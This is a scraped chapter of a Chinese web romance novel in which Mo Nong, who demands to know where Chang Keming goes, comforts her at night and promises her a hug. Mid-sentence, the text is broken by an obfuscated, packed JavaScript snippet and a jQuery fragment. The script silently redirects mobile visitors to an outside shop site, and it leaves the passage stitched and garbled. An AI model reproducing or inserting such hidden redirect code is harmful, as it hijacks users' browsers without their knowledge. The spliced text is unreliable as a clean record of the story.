文趣网 > 其他小说 > 今天祂是谁 > 37. 第37章
    出人意料的,这句平淡至极的话效果格外显著。

    比起贴心的安抚与理解,这种平静到甚至有些冷漠的陈述语气反而恰到刚好地缓和了常可名忐忑的心绪。原先难以启齿的羞涩在莫浓说出这句话之后,便如退潮的海水涌回了海中,连带着抚平了沙滩上不规整的坑洼,让她瞬间镇定了下来。

    莫浓的语气太过平淡,仿佛这是一件理所当然的、再平常不过的小事。

    所以,她也没有必要对此报以特殊的态度。

    如果说,莫浓的上一句话就奇妙地让常可名的情绪趋于稳定,那么他接下来的几句话又拨乱了她的心弦。

    “没必要这么不好意思。”

    见常可名终于不再藏起自己的脸,莫浓单手撑在膝盖上,重新站起身,两人回到了先前一坐一站的姿势。

    他看着常可名跟随着自己的动作抬起头,他的脸上露出若有所思的神情,停顿片刻后才开口说:

    “这种心情,我也会有的。”

    “你也会?”

    常可名觉得自己好像听错了话,忍不住语气困惑地重复了一遍。

    莫浓轻轻地“啊”了一声,这时候他的神情中反倒流露出一些诧异,像是对常可名的困惑感到意外:

    “为什么你觉得我不会呢?”

    “我当然也会因为和你分开而感到不安和焦虑。特别是最近这段特殊时期,没有见到你的时候,我总是担心你会受到伤害。如果不是这样子的话,我也不会特意要求你跟我说明你去了哪里,又跟什么人见了面。”

    他垂眼看着常可名:

    “难道你一直没有理解我的用意吗?”

    常可名觉得似乎哪儿有点不对,可是又想不通逻辑有哪里不对,只好略带迷茫地望着他。

    于是,莫浓换了一种问法。

    “你觉得我会对别人这么要求吗?”

    “不会。”

    她摇头。

    “那么答案不就显而易见了吗?”

    莫浓说。

    “我只对你这么做,是因为你对我很重要。”

    “现在你理解了吗?”

    暖色的灯光从上方柔柔地描摹着莫浓的轮廓,睫毛垂落的弧度显得格外富有耐心,如同面对着最为喜爱的学生,教导般地引领她的思路,然后期待她给出他设想中的答案。

    这其中应该还有些什么不对劲的东西,但是常可名的脑子已经无法再让她继续细细推究其中的逻辑,回响在她耳边只有那一句出乎意料却又让她惊喜万分的话。

    【“我只对你这么做,是因为你对我很重要。”】

    不是出于要帮助被鬼缠上的人的责任感,也不是出于对多年好友的礼貌性关心。

    原来,莫浓对她怀有的感情是仅此一份的独享吗?

    常可名的面颊上未消的红晕再次染上脸侧。

    出于某种习惯,她很想立即轻轻点一下头,给予莫浓肯定的回复,然后从他那里获得赞扬和满意的奖赏,可是现在她却无法控制住自己不胡思乱想。

    尽管这句话已经足以让她感到满足,但是她还是忍不住想要更进一步,刨根问底般地从莫浓了解“重要”这个词的具体含义。

    到底重要到什么程度呢?

    她想要知道更加详细、更确切的答案。

    不过,这份求知欲显然已经超出了常可名目前的能力范围,尤其是刚才的坦白已经耗尽了她今晚的全部精力。所以,她能表现出来的行为仿佛思绪中断般的呆愣——她既没有点头也没有摇头,只能用含着未干泪光的双眼不知所措地向莫浓投去目光。

    “看来你之前的确是没有理解啊。”

    没有得到答案的莫浓没有显露任何一丝不耐烦,相反,他的语气越发缓和。

    “我以为你会理解的,如果不是足够在意你的话,我完全没有做到这种程度的必要性。但话又说回来,即便没有理解,你依然遵照着我的指示,看来你的确十分信任我——这样子我就稍微放心了。”

    他伸出一只手,轻轻搭在常可名的肩上,仿佛试图用这个动作传递给她力量:

    “既然如此,为了能让你更好地理解,我可以做些什么来补偿你吗?”

    “不管是什么样的愿望都可以。”

    这个动作唤起了常可名的记忆,她忽然想起来昨晚常母给予她的那个拥抱。

    眼前的景象因为这份记忆恍惚了片刻,当她回过神来时,她心底那份蛰伏已久的念头已经脱离理智的控制,被她说出了口:

    “你可以抱一下我吗?”

    但当常可名说出口后,她猛地想起了一件十分重要的事情。

    她的外套里面只有一件打底的薄衣,先前被她脱下的内衣还挂在房间靠墙的衣架上,被她藏在毛衣下面。

    如果这时候拥抱,那岂不是……?

    常可名被那预想中可能会出现的情况吓得身体颤了一下。

    她并非对此感到抗拒,只是,就现在的状况而言,这种可能性对她太过于刺激了。

    然而,要求是她提出来的,现在反悔的话,会不会显得很奇怪?

    常可名思绪纷乱,脑中一片混沌。

    现实对话不像网络上的聊天,及时撤回就可以当做一切都无事发生。没等常可名想出对策,莫浓就已经开口。

    “现在的话,恐怕不行哦。”

    似乎是为了弥补,莫浓的手从常可名的肩上换到了她的脸侧,掌心轻贴着她留有薄红的面颊,更加靠近了她。

    他静静俯视着她的脸,捕捉她的每一丝神情。

    莫浓说:

    “我身上都是水,现在抱你会弄湿你的衣服。”

    他继续解释着:

    “虽然我不介意晚点睡,也可以回去换身衣服、吹干头发再来找你,但现在毕竟夜深了。如果不是没有热水这样子必须立即解决的问题,洗漱完毕还进入异性房间,我认为是不太合适的行为。”

    “我也很想现在就满足你的愿望,但是这一次的话,可以暂且延后一点儿吗——明天早上,我一定会给你一个拥抱,这样子可以吗?”

    与先前贴在伤口上的动作有着微妙的不同,这一次,没有盖住伤口的医用敷贴在中间阻拦,莫浓掌心的皮肤毫无疑问地直接接触到常可名的脸。同时,伴随着这个动作,为表诚意,他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640930|204728||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拉近两人距离的动作,这也让常可名感受到了更多的东西。

    经过刚才的那一番聊天,莫浓头发上的水已经干了一些,不再像之前那样黏在前额上。但随着水分的蒸发,他身上的热度和气息似乎也随着弥散到了空气中,因为他的靠近,这些便一股脑地涌到了常可名面前。

    她又想低下头躲避,但是她的脸被莫浓扶住了。

    她低不下头,只能把双眼放回眼前人的身上。

    这使得更多的细节进入她的视野中。

    被水打湿之后,莫浓身上的衣物呈现出比原先更深的颜色。

    现在,这套原本可以十分得体地遮蔽躯体的睡衣,作用也随之弱化了许多。紧紧黏在他身上的布料描绘出让他保持这番动作的肌肉——因为弯腰而变得更加瞩目的紧实腰肌,让人不知道究竟是衣物褶皱还是腹肌纹理的线条,以及让他保持着伸手姿势而微微隆起的手臂肌肉。

    “异性”。

    刚才莫浓口中说出的这个词,第一次以如此确切的方式呈现在常可名面前。

    抛去许多诸如竹马、邻居,多年同学和好友之类的社会身份,她第一次明确而清晰地认知到了一个她此前从未深入思考的问题。

    莫浓对于她来说,是一名异性。

    她所渴求的,是一名与异性进行亲密的肢体接触。

    常可名这个结论被吓到了!

    这比之前所有的认知更让她震惊。

    不过,常可名的震惊终究只在她脑中掀起巨浪,如此复杂的思考自然不能为莫浓所知。

    从莫浓的角度而言,他最多只能觉察到常可名神情中带上了一些惊讶,而联系实际,最为合理的解读还是——

    “不可以吗?”

    莫浓似是体谅地问:

    “忍耐到明早太困难了吗?”

    他思考片刻,仿佛衡量一番后作出了退让:

    “如果你执意想要的话,也不是不可以。”

    “不、没有,可以的……我可以等到明天早上……”

    显然,在现在这种情况下,常可名已经没有拒绝莫浓提议的理由——不论是从哪个角度。

    从实际状况来讲,常可名今晚并没有做多少事情,也没有消耗多少体力,但是她的精力缺因为接连令人错愕的认知而消耗殆尽,或羞赧或喜悦或震惊的情绪满满当当地挤满了她的脑海,从未体验的情绪波动让她的思绪变得昏昏沉沉。

    哪怕她的身体没有感到疲劳,但她的精神已经疲惫不堪。

    所以,最终常可名如同耗尽了全部力气一般,虚弱而顺从地轻轻点了点头。

    “明天早上再……”她停顿了一下,用了点儿力气才说出那个词,“拥抱吧……今晚我们还是先休息吧。”

    “嗯,很好,那今晚就先到这里。”

    莫浓收回了手,直起身体。

    他的气息也一并离开。

    他走到门边,在迈步踏出房间前,他手握着门把,回头冲常可名微笑了一下,跟往常一样向她告别:

    “晚安,可名,做个好梦。”

    常可名也柔柔地回道:

    “晚安。”